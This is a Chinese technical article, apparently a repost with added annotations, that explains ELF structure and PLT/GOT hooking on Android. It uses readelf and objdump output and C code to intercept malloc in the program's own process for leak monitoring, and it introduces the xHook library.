<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    把動態庫的內存操作玩出了新花樣!

    VSole2021-11-23 07:01:15

    文中使用的示例代碼可以從 這里 獲取。https://github.com/iqiyi/xHook/tree/master/docs/overview/code

    文中提到的 xhook 開源項目可以從 這里 獲取。

    https://github.com/iqiyi/xHook

    新的動態庫

    我們有一個新的動態庫:libtest.so

    頭文件 test.h
    #ifndef TEST_H
    #define TEST_H 1
    #ifdef __cplusplus
    extern "C" {
    #endif
    void say_hello();
    #ifdef __cplusplus
    }
    #endif
    #endif
    
    源文件 test.c
    #include 
    #include 
    void say_hello()
    {
        char *buf = malloc(1024);
        if(NULL != buf)
        {
            snprintf(buf, 1024, "%s", "hello");
            printf("%s", buf);
        }
    }
    

    say_hello 的功能是在終端打印出hello這6個字符(包括結尾的 )。

    我們需要一個測試程序:main

    源文件 main.c
    #include 
    int main()
    {
        say_hello();
        return 0;
    }
    

    編譯它們分別生成libtest.so main。運行一下:

    caikelun@debian:~$ adb push ./libtest.so ./main /data/local/tmp
    caikelun@debian:~$ adb shell "chmod +x /data/local/tmp/main"
    caikelun@debian:~$ adb shell "export LD_LIBRARY_PATH=/data/local/tmp; /data/local/tmp/main"
    hello
    caikelun@debian:~$
    

    太棒了!libtest.so的代碼雖然看上去有些愚蠢,但是它居然可以正確的工作,那還有什么可抱怨的呢?

    趕緊在新版APP中開始使用它吧!

    遺憾的是,正如你可能已經發現的,libtest.so 存在嚴重的內存泄露問題,每調用一次say_hello函數,就會泄露1024字節的內存。

    新版APP上線后崩潰率開始上升,各種詭異的崩潰信息和報障信息跌撞而至。

    面臨的問題

    幸運的是,我們修復了libtest.so的問題。可是以后怎么辦呢?我們面臨2個問題:

    1. 當測試覆蓋不足時,如何及時發現和準確定位線上 APP 的此類問題?
    2. 如果 libtest.so 是某些機型的系統庫,或者第三方的閉源庫,我們如何修復它?如果監控它的行為?

    怎么做?

    如果我們能對動態庫中的函數調用做 hook(替換,攔截,竊聽,或者你覺得任何正確的描述方式),那就能夠做到很多我們想做的事情

    比如 hook malloccallocrealloc  free,我們就能統計出各個動態庫分配了多少內存,哪些內存一直被占用沒有釋放。

    這真的能做到嗎?答案是:hook我們自己的進程是完全可以的。

    hook 其他進程需要root權限(對于其他進程,沒有root權限就沒法修改它的內存空間,也沒法注入代碼)。

    幸運的是,我們只要hook自己就夠了。

    道哥注解:

    如果去 hook 不屬于自己的進程,那就真的屬于病毒了!

    進程級別的隔離,一般由操作系統來處理!

    ELF

    道哥注解:

    關于 ELF 的詳細介紹,也可以看一下我之前寫的一篇文章:Linux系統中編譯、鏈接的基石-ELF文件:扒開它的層層外衣,從字節碼的粒度來探索

    這篇文章的內容非常詳細,就像剝洋蔥一樣,一層一層分析 ELF 文件的結構。

    并且以圖片的方式,把 ELF 文件中的二進制內容與相關的結構體成員變量一一對應起來,比較直觀。

    概述

    ELF(Executable and Linkable Format)是一種行業標準的二進制數據封裝格式,主要用于封裝可執行文件、動態庫、object 文件和 core dumps 文件。

    使用google NDK對源代碼進行編譯和鏈接,生成的動態庫或可執行文件都是ELF格式的。

    readelf可以查看ELF文件的基本信息,用objdump可以查看ELF文件的反匯編輸出。

    ELF 格式的概述可以參考這里,完整定義可以參考這里。

    其中最重要的部分是:ELF 文件頭、SHT(section header table)、PHT(program header table)

    ELF 文件頭

    ELF 文件的起始處,有一個固定格式的定長的文件頭(32 位架構為52字節,64 位架構為64字節)。ELF 文件頭以magic number 0x7F 0x45 0x4C 0x46開始(其中后3個字節分別對應可見字符 E L F)。

    libtest.so ELF文件頭信息:

    caikelun@debian:~$ arm-linux-androideabi-readelf -h ./libtest.so
     
    ELF Header:
      Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
      Class:                             ELF32
      Data:                              2's complement, little endian
      Version:                           1 (current)
      OS/ABI:                            UNIX - System V
      ABI Version:                       0
      Type:                              DYN (Shared object file)
      Machine:                           ARM
      Version:                           0x1
      Entry point address:               0x0
      Start of program headers:          52 (bytes into file)
      Start of section headers:          12744 (bytes into file)
      Flags:                             0x5000200, Version5 EABI, soft-float ABI
      Size of this header:               52 (bytes)
      Size of program headers:           32 (bytes)
      Number of program headers:         8
      Size of section headers:           40 (bytes)
      Number of section headers:         25
      Section header string table index: 24
    

    ELF 文件頭中包含了SHTPHT在當前ELF文件中的起始位置和長度。

    例如,libtest.so SHT起始位置為 12744,長度40字節;

    PHT 起始位置 52,長度32字節。

    SHT(section header table)

    ELF section為單位來組織和管理各種信息。

    ELF 使用SHT來記錄所有section的基本信息。

    主要包括:section 的類型、在文件中的偏移量、大小、加載到內存后的虛擬內存相對地址、內存中字節的對齊方式等。

    libtest.so  SHT

    caikelun@debian:~$ arm-linux-androideabi-readelf -S ./libtest.so
     
    There are 25 section headers, starting at offset 0x31c8:
    Section Headers:
      [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
      [ 0]                   NULL            00000000 000000 000000 00      0   0  0
      [ 1] .note.android.ide NOTE            00000134 000134 000098 00   A  0   0  4
      [ 2] .note.gnu.build-i NOTE            000001cc 0001cc 000024 00   A  0   0  4
      [ 3] .dynsym           DYNSYM          000001f0 0001f0 0003a0 10   A  4   1  4
      [ 4] .dynstr           STRTAB          00000590 000590 0004b1 00   A  0   0  1
      [ 5] .hash             HASH            00000a44 000a44 000184 04   A  3   0  4
      [ 6] .gnu.version      VERSYM          00000bc8 000bc8 000074 02   A  3   0  2
      [ 7] .gnu.version_d    VERDEF          00000c3c 000c3c 00001c 00   A  4   1  4
      [ 8] .gnu.version_r    VERNEED         00000c58 000c58 000020 00   A  4   1  4
      [ 9] .rel.dyn          REL             00000c78 000c78 000040 08   A  3   0  4
      [10] .rel.plt          REL             00000cb8 000cb8 0000f0 08  AI  3  18  4
      [11] .plt              PROGBITS        00000da8 000da8 00017c 00  AX  0   0  4
      [12] .text             PROGBITS        00000f24 000f24 0015a4 00  AX  0   0  4
      [13] .ARM.extab        PROGBITS        000024c8 0024c8 00003c 00   A  0   0  4
      [14] .ARM.exidx        ARM_EXIDX       00002504 002504 000100 08  AL 12   0  4
      [15] .fini_array       FINI_ARRAY      00003e3c 002e3c 000008 04  WA  0   0  4
      [16] .init_array       INIT_ARRAY      00003e44 002e44 000004 04  WA  0   0  1
      [17] .dynamic          DYNAMIC         00003e48 002e48 000118 08  WA  4   0  4
      [18] .got              PROGBITS        00003f60 002f60 0000a0 00  WA  0   0  4
      [19] .data             PROGBITS        00004000 003000 000004 00  WA  0   0  4
      [20] .bss              NOBITS          00004004 003004 000000 00  WA  0   0  1
      [21] .comment          PROGBITS        00000000 003004 000065 01  MS  0   0  1
      [22] .note.gnu.gold-ve NOTE            00000000 00306c 00001c 00      0   0  4
      [23] .ARM.attributes   ARM_ATTRIBUTES  00000000 003088 00003b 00      0   0  1
      [24] .shstrtab         STRTAB          00000000 0030c3 000102 00      0   0  1
    Key to Flags:
      W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
      L (link order), O (extra OS processing required), G (group), T (TLS),
      C (compressed), x (unknown), o (OS specific), E (exclude),
      y (noread), p (processor specific)
    

    比較重要,且和hook關系比較大的幾個section是:

    dynstr:保存了所有的字符串常量信息。
    dynsym:保存了符號(symbol)的信息(符號的類型、起始地址、大小、符號名稱在 .dynstr 中的索引編號等)。函數也是一種符號。
    text:程序代碼經過編譯后生成的機器指令。
    dynamic:供動態鏈接器使用的各項信息,記錄了當前 ELF 的外部依賴,以及其他各個重要 section 的起始位置等信息。
    got:Global Offset Table。用于記錄外部調用的入口地址。動態鏈接器(linker)執行重定位(relocate)操作時,這里會被填入真實的外部調用的絕對地址。
    plt:Procedure Linkage Table。外部調用的跳板,主要用于支持 lazy binding 方式的外部調用重定位。(Android 目前只有 MIPS 架構支持 lazy binding)
    rel.plt:對外部函數直接調用的重定位信息。
    rel.dyn:除 .rel.plt 以外的重定位信息。(比如通過全局函數指針來調用外部函數)

    道哥注解:

    ELF 文件中,dynamic 這個section是非常重要的!

    當一個動態庫被加載到內存中時,動態鏈接器就是讀取這個section的內容,比如:

    依賴于其他哪些共享對象;
    動態鏈接符號表的位置(.dynsym);
    動態鏈接重定位表的位置;
    初始化代碼的位置;
    ...

    使用指令:readelf -d xxx.so,即可查看一個動態庫中 .dynamic 的內容。

    另外,gotplt 這兩個 section,主要就是用來處理地址無關的功能。

    如果您查詢-fPIC的相關內容,一定會講解這兩個知識點。

    總的來說就是:Linux 下的動態庫,把代碼段中地址有關的部分,通過“增加一層”的原理,全部變成“地址無關”的。

    這樣的話,動態庫的代碼段在加載到物理內存中之后,就可以被多個不同的進程來共享了,只要把代碼段的物理地址,映射到每個進程自己的虛擬地址即可。

    而“地址相關”的部分,就放在 got(對變量的引用) 和plt(對函數的引用) 中。

    PHT(program header table)

    ·ELF 被加載到內存時,是以 segment 為單位的。一個 segment 包含了一個或多個 section`。

    ELF 使用PHT來記錄所有segment的基本信息。

    主要包括:segment 的類型、在文件中的偏移量、大小、加載到內存后的虛擬內存相對地址、內存中字節的對齊方式等。

    libtest.so  PHT

    caikelun@debian:~$ arm-linux-androideabi-readelf -l ./libtest.so 
    Elf file type is DYN (Shared object file)
    Entry point 0x0
    There are 8 program headers, starting at offset 52
    Program Headers:
      Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
      PHDR           0x000034 0x00000034 0x00000034 0x00100 0x00100 R   0x4
      LOAD           0x000000 0x00000000 0x00000000 0x02604 0x02604 R E 0x1000
      LOAD           0x002e3c 0x00003e3c 0x00003e3c 0x001c8 0x001c8 RW  0x1000
      DYNAMIC        0x002e48 0x00003e48 0x00003e48 0x00118 0x00118 RW  0x4
      NOTE           0x000134 0x00000134 0x00000134 0x000bc 0x000bc R   0x4
      GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
      EXIDX          0x002504 0x00002504 0x00002504 0x00100 0x00100 R   0x4
      GNU_RELRO      0x002e3c 0x00003e3c 0x00003e3c 0x001c4 0x001c4 RW  0x4
     Section to Segment mapping:
      Segment Sections...
       00     
       01     .note.android.ident .note.gnu.build-id .dynsym .dynstr .hash .gnu.version .gnu.version_d .gnu.version_r .rel.dyn .rel.plt .plt .text .ARM.extab .ARM.exidx 
       02     .fini_array .init_array .dynamic .got .data 
       03     .dynamic 
       04     .note.android.ident .note.gnu.build-id 
       05     
       06     .ARM.exidx 
       07     .fini_array .init_array .dynamic .got
    

    所有類型為PT_LOADsegment都會被動態鏈接器linker)映射(mmap)到內存中。

    連接視圖(Linking View)和執行視圖(Execution View)

    連接視圖:ELF 未被加載到內存執行前,以 section 為單位的數據組織形式。
    執行視圖:ELF 被加載到內存后,以 segment 為單位的數據組織形式。

    我們關心的hook操作,屬于動態形式的內存操作,因此主要關心的是執行視圖,即ELF被加載到內存后,ELF 中的數據是如何組織和存放的。

    .dynamic section

    這是一個十分重要和特殊 section,其中包含了ELF中其他各個section的內存位置等信息。

    在執行視圖中,總是會存在一個類型為PT_DYNAMIC segment,這個segment就包含了.dynamic section的內容。

    無論是執行hook操作時,還是動態鏈接器執行動態鏈接時,都需要通過PT_DYNAMIC segment來找到.dynamic section的內存位置,再進一步讀取其他各項section的信息。

    libtest.so  .dynamic section

    caikelun@debian:~$ arm-linux-androideabi-readelf -d ./libtest.so 
    Dynamic section at offset 0x2e48 contains 30 entries:
      Tag        Type                         Name/Value
     0x00000003 (PLTGOT)                     0x3f7c
     0x00000002 (PLTRELSZ)                   240 (bytes)
     0x00000017 (JMPREL)                     0xcb8
     0x00000014 (PLTREL)                     REL
     0x00000011 (REL)                        0xc78
     0x00000012 (RELSZ)                      64 (bytes)
     0x00000013 (RELENT)                     8 (bytes)
     0x6ffffffa (RELCOUNT)                   3
     0x00000006 (SYMTAB)                     0x1f0
     0x0000000b (SYMENT)                     16 (bytes)
     0x00000005 (STRTAB)                     0x590
     0x0000000a (STRSZ)                      1201 (bytes)
     0x00000004 (HASH)                       0xa44
     0x00000001 (NEEDED)                     Shared library: [libc.so]
     0x00000001 (NEEDED)                     Shared library: [libm.so]
     0x00000001 (NEEDED)                     Shared library: [libstdc++.so]
     0x00000001 (NEEDED)                     Shared library: [libdl.so]
     0x0000000e (SONAME)                     Library soname: [libtest.so]
     0x0000001a (FINI_ARRAY)                 0x3e3c
     0x0000001c (FINI_ARRAYSZ)               8 (bytes)
     0x00000019 (INIT_ARRAY)                 0x3e44
     0x0000001b (INIT_ARRAYSZ)               4 (bytes)
     0x0000001e (FLAGS)                      BIND_NOW
     0x6ffffffb (FLAGS_1)                    Flags: NOW
     0x6ffffff0 (VERSYM)                     0xbc8
     0x6ffffffc (VERDEF)                     0xc3c
     0x6ffffffd (VERDEFNUM)                  1
     0x6ffffffe (VERNEED)                    0xc58
     0x6fffffff (VERNEEDNUM)                 1
     0x00000000 (NULL)                       0x0
    

    動態鏈接器(linker)

    安卓中的動態鏈接器程序是 linker。源碼在這里。

    動態鏈接(比如執行 dlopen)的大致步驟是:

    1. 檢查已加載的 ELF 列表。(如果 libtest.so 已經加載,就不再重復加載了,僅把 libtest.so 的引用計數加一,然后直接返回。)
    2. 從 libtest.so 的 .dynamic section 中讀取 libtest.so 的外部依賴的 ELF 列表,從此列表中剔除已加載的 ELF,最后得到本次需要加載的 ELF 完整列表(包括 libtest.so 自身)。
    3. 逐個加載列表中的 ELF。加載步驟:
    (1) 用 mmap 預留一塊足夠大的內存,用于后續映射 ELF。(MAP_PRIVATE 方式)
    (2) 讀 ELF 的 PHT,用 mmap 把所有類型為 PT_LOAD 的 segment 依次映射到內存中。
    (3) 從 .dynamic segment 中讀取各信息項,主要是各個 section 的虛擬內存相對地址,然后計算并保存各個 section 的虛擬內存絕對地址。
    (4) 執行重定位操作(relocate),這是最關鍵的一步。重定位信息可能存在于下面的一個或多個 secion 中:.rel.plt, .rela.plt, .rel.dyn, .rela.dyn, .rel.android, .rela.android。動態鏈接器需要逐個處理這些 .relxxx section 中的重定位訴求。根據已加載的 ELF 的信息,動態鏈接器查找所需符號的地址(比如 libtest.so 的符號 malloc),找到后,將地址值填入 .relxxx 中指明的目標地址中,這些“目標地址”一般存在于.got 或 .data 中。
    (5) ELF 的引用計數加一。
    1. 逐個調用列表中 ELF 的構造函數(constructor),這些構造函數的地址是之前從 .dynamic segment 中讀取到的(類型為 DT_INIT 和 DT_INIT_ARRAY)。各 ELF 的構造函數是按照依賴關系逐層調用的,先調用被依賴 ELF 的構造函數,最后調用 libtest.so 自己的構造函數。(ELF 也可以定義自己的析構函數(destructor),在 ELF 被 unload 的時候會被自動調用)

    等一下!我們似乎發現了什么!再看一遍重定位操作(relocate)的部分。

    難道我們只要從這些.relxxx中獲取到“目標地址”,然后在“目標地址”中重新填上一個新的函數地址,這樣就完成hook了嗎?也許吧。

    追蹤

    靜態分析驗證一下還是很容易的。以armeabi-v7a架構的libtest.so為例。

    先看一下say_hello函數對應的匯編代碼吧。

    caikelun@debian:~/$ arm-linux-androideabi-readelf -s ./libtest.so
    Symbol table '.dynsym' contains 58 entries:
       Num:    Value  Size Type    Bind   Vis      Ndx Name
         0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
         1: 00000000     0 FUNC    GLOBAL DEFAULT  UND __cxa_finalize@LIBC (2)
         2: 00000000     0 FUNC    GLOBAL DEFAULT  UND snprintf@LIBC (2)
         3: 00000000     0 FUNC    GLOBAL DEFAULT  UND malloc@LIBC (2)
         4: 00000000     0 FUNC    GLOBAL DEFAULT  UND __cxa_atexit@LIBC (2)
         5: 00000000     0 FUNC    GLOBAL DEFAULT  UND printf@LIBC (2)
         6: 00000f61    60 FUNC    GLOBAL DEFAULT   12 say_hello
    ...............
    ...............
    

    找到了!say_hello 在地址 f61,對應的匯編指令體積為 60(10 進制)字節。

    objdump查看say_hello的反匯編輸出。

    caikelun@debian:~$ arm-linux-androideabi-objdump -D ./libtest.so
    ...............
    ...............
    00000f60 :
         f60:   b5b0        push    {r4, r5, r7, lr}
         f62:   af02        add r7, sp, #8
         f64:   f44f 6080   mov.w   r0, #1024   ; 0x400
         f68:   f7ff ef34   blx dd4 
         f6c:   4604        mov r4, r0
         f6e:   b16c        cbz r4, f8c 
         f70:   a507        add r5, pc, #28 ; (adr r5, f90 )
         f72:   a308        add r3, pc, #32 ; (adr r3, f94 )
         f74:   4620        mov r0, r4
         f76:   f44f 6180   mov.w   r1, #1024   ; 0x400
         f7a:   462a        mov r2, r5
         f7c:   f7ff ef30   blx de0 
         f80:   4628        mov r0, r5
         f82:   4621        mov r1, r4
         f84:   e8bd 40b0   ldmia.w sp!, {r4, r5, r7, lr}
         f88:   f001 ba96   b.w 24b8 <_Unwind_GetTextRelBase@@Base+0x8>
         f8c:   bdb0        pop {r4, r5, r7, pc}
         f8e:   bf00        nop
         f90:   7325        strb    r5, [r4, #12]
         f92:   0000        movs    r0, r0
         f94:   6568        str r0, [r5, #84]   ; 0x54
         f96:   6c6c        ldr r4, [r5, #68]   ; 0x44
         f98:   0a6f        lsrs    r7, r5, #9
         f9a:   0000        movs    r0, r0
    ...............
    ...............
    

    malloc函數的調用對應于指令 blx dd4。跳轉到了地址 dd4

    看看這個地址里有什么吧:

    caikelun@debian:~$ arm-linux-androideabi-objdump -D ./libtest.so
    ...............
    ...............
    00000dd4 :
     dd4:   e28fc600    add ip, pc, #0, 12
     dd8:   e28cca03    add ip, ip, #12288  ; 0x3000
     ddc:   e5bcf1b4    ldr pc, [ip, #436]! ; 0x1b4
    ...............
    ...............
    

    果然,跳轉到了.plt中,經過了幾次地址計算,最后跳轉到了地址3f90中的值指向的地址處,3f90 是個函數指針

    稍微解釋一下:因為arm處理器使用3級流水線,所以第一條指令取到的pc的值是當前執行的指令地址 + 8

    于是:dd4 + 8 + 3000 + 1b4 = 3f90

    地址3f90在哪里呢:

    caikelun@debian:~$ arm-linux-androideabi-objdump -D ./libtest.so
    ...............
    ...............
    00003f60 <.got>:
        ...
        3f70:   00002604    andeq   r2, r0, r4, lsl #12
        3f74:   00002504    andeq   r2, r0, r4, lsl #10
        ...
        3f88:   00000da8    andeq   r0, r0, r8, lsr #27
        3f8c:   00000da8    andeq   r0, r0, r8, lsr #27
        3f90:   00000da8    andeq   r0, r0, r8, lsr #27
    ...............
    ...............
    

    果然,在.got里。

    順便再看一下.rel.plt

    caikelun@debian:~$ arm-linux-androideabi-readelf -r ./libtest.so
    Relocation section '.rel.plt' at offset 0xcb8 contains 30 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    00003f88  00000416 R_ARM_JUMP_SLOT   00000000   __cxa_atexit@LIBC
    00003f8c  00000116 R_ARM_JUMP_SLOT   00000000   __cxa_finalize@LIBC
    00003f90  00000316 R_ARM_JUMP_SLOT   00000000   malloc@LIBC
    ...............
    ...............
    

    malloc 的地址居然正好存放在3f90里,這絕對不是巧合啊!

    道哥注解:

    .rel.plt 這個section中,記錄了重定位表的信息,也就是哪些函數地址需要被重定位。

    鏈接器把所有被依賴的共享對象加載到內存中時,會把每個共享對象中的符號給匯總起來,得到全局符號表。

    然后再檢查每個共享對象中的 .rel.plt,是否需要對一些地址進行重定位。

    如果需要的話,就從全局符號表中找到該符號的內存地址,然后填寫到 .plt 中對應的位置。

    還等什么,趕緊改代碼吧。我們的main.c應該改成這樣:

    #include 
    void *my_malloc(size_t size)
    {
        printf("%zu bytes memory are allocated by libtest.so", size);
        return malloc(size);
    }
    int main()
    {
        void **p = (void **)0x3f90;
        *p = (void *)my_malloc; // do hook
        
        say_hello();
        return 0;
    }
    

    編譯運行一下:

    caikelun@debian:~$ adb push ./main /data/local/tmp
    caikelun@debian:~$ adb shell "chmod +x /data/local/tmp/main"
    caikelun@debian:~$ adb shell "export LD_LIBRARY_PATH=/data/local/tmp; /data/local/tmp/main"
    Segmentation fault
    caikelun@debian:~$
    

    思路是正確的。但之所以還是失敗了,是因為這段代碼存在下面的3個問題:

    1. 3f90 是個相對內存地址,需要把它換算成絕對地址。
    2. 3f90 對應的絕對地址很可能沒有寫入權限,直接對這個地址賦值會引起段錯誤。
    3. 新的函數地址即使賦值成功了,my_malloc 也不會被執行,因為處理器有指令緩存(instruction cache)。

    我們需要解決這些問題。

    內存

    基地址

    在進程的內存空間中,各種ELF的加載地址是隨機的,只有在運行時才能拿到加載地址,也就是基地址。

    道哥注解:

    我們在查看一個動態鏈接庫時,看到的入口地址都是 0x0000_0000

    動態庫在被加載到內存中時,因為存在加載順序的問題,所以加載地址不是固定的

    還有一種說法:對于某一個進程而言,它在被加載到內存中時,它所依賴的所有動態庫的順序是一定的

    因此,每個動態庫的加載地址也是固定的,因此,理論上可以在第一次重定位之后,把重定位之后的代碼段存儲下來。

    這樣,以后再次啟動這個進程時,就不需要重定位了,加快程序的啟動速度。

    我們需要知道ELF基地址,才能將相對地址換算成絕對地址

    沒有錯,熟悉Linux開發的聰明的你一定知道,我們可以直接調用 dl_iterate_phdr。詳細的定義見這里。

    道哥注解:

    dl_iterate_phdr 這個函數真的很有用,以回調函數的形式可到每一個動態鏈接庫的加載地址等信息。

    如果沒有這個函數,很多信息就需要從 /proc/xxx/maps 中來獲取,執行速度慢,因為要處理很多字符串信息。

    嗯,先等等,多年的Android開發被坑經歷告訴我們,還是再看一眼NDK里的linker.h頭文件吧:

    #if defined(__arm__)
    #if __ANDROID_API__ >= 21
    int dl_iterate_phdr(int (*__callback)(struct dl_phdr_info*, size_t, void*), void* __data) __INTRODUCED_IN(21);
    #endif /* __ANDROID_API__ >= 21 */
    #else
    int dl_iterate_phdr(int (*__callback)(struct dl_phdr_info*, size_t, void*), void* __data);
    #endif
    

    為什么?!ARM 架構的Android 5.0以下版本居然不支持 dl_iterate_phdr

    我們的APP可是要支持Android 4.0以上的所有版本啊。

    特別是 ARM,怎么能不支持呢?!這還讓不讓人寫代碼啦!

    幸運的是,我們想到了,我們還可以解析 /proc/self/maps:

    root@android:/ # ps | grep main
    ps | grep main
    shell     7884  7882  2616   1016  hrtimer_na b6e83824 S /data/local/tmp/main
    root@android:/ # cat /proc/7884/maps
    cat /proc/7884/maps
    address           perms offset  dev   inode       pathname
    ---------------------------------------------------------------------
    ...........
    ...........
    b6e42000-b6eb5000 r-xp 00000000 b3:17 57457      /system/lib/libc.so
    b6eb5000-b6eb9000 r--p 00072000 b3:17 57457      /system/lib/libc.so
    b6eb9000-b6ebc000 rw-p 00076000 b3:17 57457      /system/lib/libc.so
    b6ec6000-b6ec9000 r-xp 00000000 b3:19 753708     /data/local/tmp/libtest.so
    b6ec9000-b6eca000 r--p 00002000 b3:19 753708     /data/local/tmp/libtest.so
    b6eca000-b6ecb000 rw-p 00003000 b3:19 753708     /data/local/tmp/libtest.so
    b6f03000-b6f20000 r-xp 00000000 b3:17 32860      /system/bin/linker
    b6f20000-b6f21000 r--p 0001c000 b3:17 32860      /system/bin/linker
    b6f21000-b6f23000 rw-p 0001d000 b3:17 32860      /system/bin/linker
    b6f25000-b6f26000 r-xp 00000000 b3:19 753707     /data/local/tmp/main
    b6f26000-b6f27000 r--p 00000000 b3:19 753707     /data/local/tmp/main
    becd5000-becf6000 rw-p 00000000 00:00 0          [stack]
    ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]
    ...........
    ...........
    

    maps 返回的是指定進程的內存空間中mmap的映射信息,包括各種動態庫、可執行文件(如:linker),棧空間,堆空間,甚至還包括字體文件。

    maps 格式的詳細說明見這里。

    我們的libtest.somaps中有3行記錄。

    offset 0的第一行的起始地址b6ec6000在絕大多數情況下就是我們尋找的基地址

    內存訪問權限

    maps 返回的信息中已經包含了權限訪問信息。

    如果要執行 hook,就需要寫入的權限,可以使用mprotect來完成:

    #include 
    int mprotect(void *addr, size_t len, int prot);
    

    注意修改內存訪問權限時,只能以“頁”為單位。

    mprotect 的詳細說明見這里。

    指令緩存

    注意.got.datasection類型是 PROGBITS,也就是執行代碼。處理器可能會對這部分數據做緩存。

    修改內存地址后,我們需要清除處理器的指令緩存,讓處理器重新從內存中讀取這部分指令。

    方法是調用 __builtin___clear_cache

    void __builtin___clear_cache (char *begin, char *end);
    

    注意清除指令緩存時,也只能以“頁”為單位。__builtin___clear_cache 的詳細說明見這里。

    驗證

    我們把main.c修改為:

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #define PAGE_START(addr) ((addr) & PAGE_MASK)
    #define PAGE_END(addr)   (PAGE_START(addr) + PAGE_SIZE)
    void *my_malloc(size_t size)
    {
        printf("%zu bytes memory are allocated by libtest.so", size);
        return malloc(size);
    }
    void hook()
    {
        char       line[512];
        FILE      *fp;
        uintptr_t  base_addr = 0;
        uintptr_t  addr;
        //find base address of libtest.so
        if(NULL == (fp = fopen("/proc/self/maps", "r"))) return;
        while(fgets(line, sizeof(line), fp))
        {
            if(NULL != strstr(line, "libtest.so") &&
               sscanf(line, "%"PRIxPTR"-%*lx %*4s 00000000", &base_addr) == 1)
                break;
        }
        fclose(fp);
        if(0 == base_addr) return;
        //the absolute address
        addr = base_addr + 0x3f90;
        
        //add write permission
        mprotect((void *)PAGE_START(addr), PAGE_SIZE, PROT_READ | PROT_WRITE);
        //replace the function address
        *(void **)addr = my_malloc;
        //clear instruction cache
        __builtin___clear_cache((void *)PAGE_START(addr), (void *)PAGE_END(addr));
    }
    int main()
    {
        hook();
        
        say_hello();
        return 0;
    }
    

    重新編譯運行:

    caikelun@debian:~$ adb push ./main /data/local/tmp
    caikelun@debian:~$ adb shell "chmod +x /data/local/tmp/main"
    caikelun@debian:~$ adb shell "export LD_LIBRARY_PATH=/data/local/tmp; /data/local/tmp/main"
    1024 bytes memory are allocated by libtest.so
    hello
    caikelun@debian:~$
    

    是的,成功了!

    我們并沒有修改libtest.so的代碼,甚至沒有重新編譯它。我們僅僅修改了main程序。

    libtest.so main的源碼放在github上,可以從這里獲取到。

    (根據你使用的編譯器不同,或者編譯器的版本不同,生成的libtest.so中,也許malloc對應的地址不再是 0x3f90,這時你需要先用readelf確認,然后再到main.c中修改。)

    使用 xhook

    當然,我們已經開源了一個叫xhook的工具庫。

    使用 xhook,你可以更優雅的完成對libtest.sohook操作,也不必擔心硬編碼0x3f90導致的兼容性問題。

    #include 
    #include 
    #include 
    #include 
    void *my_malloc(size_t size)
    {
        printf("%zu bytes memory are allocated by libtest.so", size);
        return malloc(size);
    }
    int main()
    {
        xhook_register(".*/libtest\\.so$", "malloc", my_malloc, NULL);
        xhook_refresh(0);
        
        say_hello();
        return 0;
    }
    

    xhook 支持 armeabiarmeabi-v7a  arm64-v8a

    支持Android 4.0 (含)以上版本 (API level >= 14)。

    經過了產品級的穩定性和兼容性驗證。可以在這里 獲取 xhook

    總結一下xhook中執行PLT hook的流程:

    1. 讀 maps,獲取 ELF 的內存首地址(start address)。
    2. 驗證 ELF 頭信息。
    3. 從 PHT 中找到類型為 PT_LOAD 且 offset 為 0 的 segment。計算 ELF 基地址。
    4. 從 PHT 中找到類型為 PT_DYNAMIC 的 segment,從中獲取到 .dynamic section,從 .dynamic section中獲取其他各項 section 對應的內存地址。
    5. 在 .dynstr section 中找到需要 hook 的 symbol 對應的 index 值。
    6. 遍歷所有的 .relxxx section(重定位 section),查找 symbol index 和 symbol type 都匹配的項,對于這項重定位項,執行 hook 操作。hook 流程如下:
    (1) 讀 maps,確認當前 hook 地址的內存訪問權限。
    (2) 如果權限不是可讀也可寫,則用 mprotect 修改訪問權限為可讀也可寫。
    (3) 如果調用方需要,就保留 hook 地址當前的值,用于返回。
    (4) 將 hook 地址的值替換為新的值。(執行 hook)
    (5) 如果之前用 mprotect 修改過內存訪問權限,現在還原到之前的權限。
    (6) 清除 hook 地址所在內存頁的處理器指令緩存。

    FAQ

    可以直接從文件中讀取 ELF 信息嗎?

    可以。

    而且對于格式解析來說,讀文件是最穩妥的方式,因為ELF在運行時,原理上有很多section不需要一直保留在內存中,可以在加載完之后就從內存中丟棄,這樣可以節省少量的內存。

    但是從實踐的角度出發,各種平臺的動態鏈接器和加載器,都不會這么做,可能它們認為增加的復雜度得不償失

    所以我們從內存中讀取各種ELF信息就可以了,讀文件反而增加了性能損耗。

    另外,某些系統庫ELF文件,APP 也不一定有訪問權限。

    計算基地址的精確方法是什么?

    正如你已經注意到的,前面介紹libtest.so基地址獲取時,為了簡化概念和編碼方便,用了“絕大多數情況下”這種不應該出現的描述方式。

    對于hook來說,精確的基地址計算流程是:

    1. 在 maps 中找到找到 offset 為 0,且 pathname 為目標 ELF 的行。保存該行的 start address 為 p0。
    2. 找出 ELF 的 PHT 中第一個類型為 PT_LOAD 且 offset 為 0 的 segment,保存該 segment 的虛擬內存相對地址(p_vaddr)為 p1。
    3. p0 - p1 即為該 ELF 當前的基地址。

    絕大多數的ELF第一個PT_LOAD segmentp_vaddr都是 0

    另外,之所以要在maps里找offset0的行,是因為我們在執行hook之前,希望對內存中的ELF文件頭進行校驗,確保當前操作的是一個有效的 ELF,而這種 ELF 文件頭只能出現在offset0mmap區域。

    可以在Android linker的源碼中搜索“load_bias”,可以找到很多詳細的注釋說明,也可以參考linker對 load_bias_ 變量的賦值程序邏輯。

    目標 ELF 使用的編譯選項對 hook 有什么影響?

    會有一些影響。

    對于外部函數的調用,可以分為3種情況:

    1. 直接調用。無論編譯選項如何,都可以被 hook 到。外部函數地址始終保存在 .got 中。
    2. 通過全局函數指針調用。無論編譯選項如何,都可以被 hook 到。外部函數地址始終保存在 .data 中。
